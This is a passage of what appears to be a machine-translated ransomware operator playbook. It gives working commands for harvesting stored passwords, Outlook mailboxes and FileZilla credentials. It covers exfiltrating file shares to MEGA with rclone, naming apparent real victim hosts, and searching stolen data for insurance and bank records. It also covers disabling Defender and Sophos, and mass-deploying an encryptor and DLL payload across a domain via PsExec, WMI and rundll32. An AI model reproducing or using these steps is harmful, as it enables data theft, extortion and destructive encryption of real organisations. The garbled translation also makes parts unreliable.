T am their configs. We drag them, put them in a confa. E If is found - then IMMEDIATELY ALL there is plenty of it THOSE MOST relevant passwords.

It also happens that the admin stores ala right on the desktop access.xlsx passwords.docx

We swing, break, watch.

```
there is also an outlook folder \\ 172.16.1.40 \ c $ \ Users \ gpetit \ AppData \ Local \ Microsoft \ Outlook
```

Here is the file ala

gpetit@domain.com - Exchange1.ost

It contains the CORRESPONDENCE of this pepper. You can download it to yourself , open the "free ost viewer" and see the login / outcome mail . REGULARLY is useful to understand in difficult situations, it is this reception.

Copied simply - cut down outlook.exe , do copy-paste .ost file , then the user himself currently open outlook.

```
\\ 172.16.1.40 \ c \$ \ Users \ gpetit \ AppData \ Local \ Filezilla \\ 172.16.1.40 \ c \$ \ Users \ gpetit \ AppData \ Roaming \ Filezilla
```

Here files sitemanager.xml may be a credo of the FTP the SSH. We swing, look, throw in conf.

Also inspect \\ 172.16.1.40 \ C \\$ \ ProgramData

- + Program files / x86
- + Local drives that fell out in net view \\ host / ALL
- D \$ and so on

Also in ad users.txt is homedir - it , too, look, study.

Like everything.

For which manual has been written - so not tried like mad head to go to raise the session and catching alerts by admin.

Our work is more is in fact to understand that how arranged, but not customize brute force in the various approaches.

Everything is already hacked, you just need to look at everything ! Through the eyes of an admin! The main task of the admin hunt is to understand where he stores passwords and to steal the database \ ekselka \ file \ textvik \ document !!!

Stage II. Uploading data

1. Register MEGA

We register on the website https://mega.io/

Choose a subscription to zapisimosti from the size of the grid. Usually at 2 TB Choosing payment crypt
We drop the requisites for payment to the team lead

One mega cannot be used for multiple grids !!!

2. Creating a rclone config

- 1. swing rclone.exe to the office site and create a file rclone.conf
- 2. open **cmd from the administrator** , fall through the location where the program is a configuration file and execute the command: **rclone config**
- 3. Next, select the menu that appears new remote
- 4.call it mega then enter mega again
- 5. after that we enter **the mail address mega** after he asks for his pass to enter or generate we **choose our letter 'Y'**
- 6. after creating the config, we are thrown into the main menu and we exit the clone.
- 7. Next, enter this command rclone.exe the config show For it shows itself config we created
- 8. we copy it into the fi l rclone.conf

3. Uploading data

P ossle we found balls of interest to us, we load the .exe, and configuration on the Target machine rights, go to the directory ekzeshki and give the command:

---- ------ ------

Examples :

shell rclone.exe copy "ball "Mega: training -q --ignore-existing --auto-confirm --multi-threadstreams 1 --transfers 3 --bwlimit 5M

Use this ==> shell rclone.exe copy "\\ WTFINANCE.washoetribe.net \ E \$ \ FINANCE" mega: 1 -q --ignore-existing --auto-confirm --multi-thread-streams 1 --transfers 3 --bwlimit 5M

shell rclone.exe copy "\\ trucamtldc01 \ E \$ \ Data" remote: Data -q --ignore-existing --auto-confirm --multi-thread-streams 12 --transfers 12

shell rclone.exe copy "\\ FS \" remote: NT -q --ignore-existing --auto-confirm --multi-thread-streams 12 --transfers 12

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```
shell rclone.exe copy "\\ PETERLENOVO.wist.local \ Users" ftp 1: uploads / Users / -q --ignore-existing --auto-confirm --multi-thread-streams 3 --transfers 3
```

shell rclone.exe copy "\\ envisionpharma.com \ IT \ KLSHARE" Mega: Finanse -q --ignore-existing --auto-confirm --multi-thread-streams 12 --transfers 12

 $\$ envisionpharma.com $\$ IT $\$ KLSHARE these are balls that we pump out, we can specify whatever we like, even the whole disk

Mega - the name of the config that we specified when performing step 5
Finanse - the folder in the mega where infa is uploaded, if not, it will create it itself .
streams 12 --transfers 12 is the number of streams that download. I do not recommend the maximum
(12) as you can easily sleep

GUIDE

https://rclone.org/mega/

4. Dedicated disk backup

Registering a Dedicated Server
Install the application - https://mega.io/sync
Through the application, download the content of the mega to the Dedicated Server

5. Preparing the datapack

We go to the mega from the torus . and search by keywords. need accounting reports. bank statements. for 20-21 years. all fresh .

especially important, cyber insurance, security policy documents .

Search keywords :

cyber
policy
insurance
endorsement
supplementary
underwriting

```
terms
```

bank 2020

2021

Statement

and everything that can be juicy.
always who downloads information
prepares datapack right away
immediately backs up info to mega
and makes a complete listing of all information!

./ encryptor --path / path

Stage III. Lock

1. Collecting body shirts for copying and launching a file across the entire domain Collecting a batch file to copy a file across the entire domain Save as "COPY.BAT" start PsExec.exe / accepteula @C: \ share \$ \ comps1.txt -u DOMAIN \ ADMINISTRATOR -p PASSWORD cmd / c COPY "\\ PRIMARY DOMAIN CONTROLLER \ share \$ \ fx166.exe" "C: \ windows \ temp \ " Collecting a batch file to run a file across the entire domain Save as "EXE.BAT" start PsExec.exe -d @C: \ share \$ \ comps1.txt -u DOMAIN \ ADMINISTRATOR -p PASSWORD cmd /cc:\windows\temp\fx166.exe Collecting a WMI batch file to copy and run a file across the entire domain Save as "WMI.BAT" start w mic / node: @ C: \ share \$ \ comps1.txt / user: "DOMAIN \ Administrator" / password: "PASSWORD" process call create "cmd.exe / c bitsadmin / transfer fx166 \\ DOMAIN CONTROLLER \ share \$ \ fx166.exe% APPDATA% \ fx166.exe &% APPDATA% \ fx166.exe " P Parameters start locker on Linux versions Unix version launch parameters --path When using this parameter, the locker will encrypt files in the specified path. A required parameter will not lock anything without it.

```
--prockiller
     Kills all processes that interfere with the opening of files.
     ./ encryptor --path / path --prockiller
--log
     Includes logging of all actions and errors
     ./ encryptor --path / path --log /root/log.txt
- vmkiller ( Only for esxi )
     Shuts down all virtual machines
- vmlist ( Only for esxi )
     Specifies a file with a list of virtual machines that should not be shut down. One line for
each VM.
     ./ encryptor --path / path --vmkiller --vmlist /tmp/list.txt
--detach
      Detaches the process from the terminal.
So that if the ssh session falls off, the locker will continue to work
And the files are not beaten
ESXi version REQUEST SEPARATELY
If Mr. de it does not start I need OS , kernel version and the version of qlibc
/lib64/libc.so.6
OVER
LOCKER
1.exe - apply nolan by default (locate only local drives ... it can still get into network drives
(lock sucker!))
1.exe -nolocal (locates only mapped network drives)
1.exe -fast (without terminating the processes occupying files and deleting Shadow
copies)
1.exe -full (locates EVERYTHING !!! dangerous! Use on nerves)) or on fags )
1.exe -path "\\ ip" (the specified path to the folder, also on another PC "\\ 192.168.0.1 \ with $
```

```
\ folder")
MASS LOCK network: (1 o repents only [C] drive on every PC):
MASS LOCK:
psexec.exe \\% 0 -s -d -i -c -f uac.bat
psexec.exe \\% 0 -s -d -i -c -f defoff.bat
psexec.exe \\% 0 -d -i -c -f 1.exe
2.
        Disable AB
Disabling defender
Manually:
qpedit.msc
Inside, go along the path Computer Configuration - Administrative Templates - Windows Components -
Windows Defender
We find the item "Protection in real time"
Select the item "Disable real-time protection"
Select "Enabled"
Enter gpupdate / force in cmd
Not in the manual:
powershell Set-MpPreference -DisableRealtimeMonitoring $ true
New-ItemProperty -Path "HKLM: \ SOFTWARE \ Policies \ Microsoft \ Windows Defender" -Name
DisableAntiSpyware -Value 1 -PropertyType DWORD -Force
And one more way
Open Gmer or alternative - to chop off process mspeng \ or as we go in the location of the file,
```

delete the file itself .

Sophos

We need the rights of a local administrator.

Load **Gmer** on the target, launch it, go to the **Processes** tab , find and demolish all processes **from the office**.

Then we wait \sim 15-20 seconds and see a notification about the stoppage of the sophos. The sophos icon should be gone.

Then we go to the **Files** tab and find the folder with the sophos **and try to delete the .exe files** , first of all we **delete all the .exe files in the File Scanner folder** , and then in other folders.

Then we launch **Pchunter** and go to the **Services** tab and demolish the sophos services

Then we go to the **Files** tab (desirable, but not necessary) and there we already completely demolish the **folder** (s), select Force Delete (it does not always work) with a sophos.

3. Running batch files

Go to the C: \ drive and create a folder called "share \$"
We share the created folder and upload our .bat files there
You also need psexec.exe and the file with which you will encrypt this domain

run COPY.BAT

We are waiting for all the ${\ensuremath{\textbf{CMD}}}$ windows to work

Run EXE.BAT

We are waiting for all the CMD windows to work

Run WMI.BAT

We are waiting for all the CMD windows to work

\\ further we will need to spread the payload dllku over the network and attract bots - batniki delayutsa vot tyt - http://tobbot.com/data/

copy "C: \ ProgramData \ BuildName.exe" "\ \ { 1} \ c \$ \ ProgramData \ BuildName.exe"

wmic / node: { 1} process call create "rundll32.exe C: \ ProgramData \ 2.dll StartW"

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```
copy.bat
copy "C: \ ProgramData \ 2.dll" "\\ 192.168.3.11 \ c $ \ ProgramData \ 2.dll"
copy "C: \ ProgramData \ 2.dll" "\\ 192.168.3.14 \ c $ \ ProgramData \ 2.dll"
copy "C: \ ProgramData \ 2.dll" "\\ 192.168.3.18 \ c $ \ ProgramData \ 2.dll"
copy "C: \ ProgramData \ 2.dll" "\\ 192.168.3.21 \ c $ \ ProgramData \ 2.dll"
copy "C: \ ProgramData \ 2.dll" "\\ 192.168.3.27 \ c $ \ ProgramData \ 2.dll"
copy "C: \ ProgramData \ 2.dll" "\\ 192.168.3.4 \ c $ \ ProgramData \ 2.dll"
```

4. Checking the result of batch files

We go to each RDP work and check how the file worked (if the file is not there, copy it from our Windows via RDP to the server and run it)

5. Launching the locker manually

Launch the locker manually //

6. Preparing of report

IV Miscellaneous

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